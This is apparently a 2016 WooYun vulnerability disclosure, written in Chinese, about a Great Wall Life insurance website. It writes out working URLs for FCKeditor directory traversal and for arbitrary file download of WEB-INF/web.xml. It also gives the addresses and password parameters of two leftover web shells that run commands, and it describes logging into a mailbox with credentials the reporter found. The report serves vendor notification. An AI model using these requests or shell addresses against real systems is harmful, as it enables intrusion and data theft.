长城人寿某系统漏洞打包(目录遍历/文件下载/前人shell)

编号215922
Urlhttp://www.wooyun.org/bug.php?action=view&id=215922
漏洞状态厂商已经确认
漏洞标题长城人寿某系统漏洞打包(目录遍历/文件下载/前人shell)
漏洞类型任意文件遍历/下载
厂商greatlife.cn
白帽子路人甲
提交日期2016-06-03 18:40:00
公开日期2016-07-18 19:40:00
修复时间(not set)
确认时间2016-06-03 00:00:00
Confirm Spend0
漏洞标签
关注数0
收藏数0
白帽评级
白帽自评rank20
厂商评级
厂商评rank10
漏洞简介
目录遍历/文件下载/前人shell,我只是希望能把shell删干净,所以提一下
漏洞细节

http://www.4008118228.cn/index.shtml

QQ截图20160602204357.png


系统使用了fck编辑器
http://www.4008118228.cn/Editor/filemanager/browser/default/connectors/jsp/connector.jsp?Command=GetFoldersAndFiles&Type=&CurrentFolder=/../

QQ截图20160602204449.png


QQ截图20160602204646.png


http://www.4008118228.cn/Editor/filemanager/browser/default/connectors/jsp/connector.jsp?Command=GetFoldersAndFiles&Type=&CurrentFolder=/../Include/

QQ截图20160603164654.png

POC

在遍历目录的时候发现一个文件
http://www.4008118228.cn/common/LoadFile.jsp

QQ截图20160603164749.png


访问的时候,会把绝对路径爆出来
简单构造就可以下载文件了
http://www.4008118228.cn/common/LoadFile.jsp?FileName=LoadFile.jsp

QQ截图20160603164844.png


http://www.4008118228.cn/common/LoadFile.jsp?FileName=../WEB-INF/web.xml

QQ截图20160603164918.png


同样的文件在此处还发现一个
http://www.4008118228.cn/Platform/LoadFile.jsp

QQ截图20160603164954.png


一并改了吧
shell:

QQ截图20160603165026.png


http://www.4008118228.cn/shell.jsp?pwd=023&i=ls /


这里还有一枚遗留,点出来一并删了吧

http://www.4008118228.cn/uddiexplorer/2ss.jsp?pwd=023&i=ls


QQ截图20160603095639.png


使用找到的mail登录邮箱

QQ截图20160603100254.png


通讯录

QQ截图20160603100443.png


QQ截图20160603100546.png


最后登录系统

QQ截图20160603100027.png

修复方案

过滤../

状态信息 2016-06-03: 细节已通知厂商并且等待厂商处理中
2016-06-03: 厂商已经确认,细节仅向厂商公开
2016-06-13: 细节向核心白帽子及相关领域专家公开
2016-06-23: 细节向普通白帽子公开
2016-07-03: 细节向实习白帽子公开
2016-07-18: 细节向公众公开
厂商回复已安排相关人员进行修复,感谢!
回应信息危害等级:中漏洞Rank:10 确认时间:2016-06-03 19:37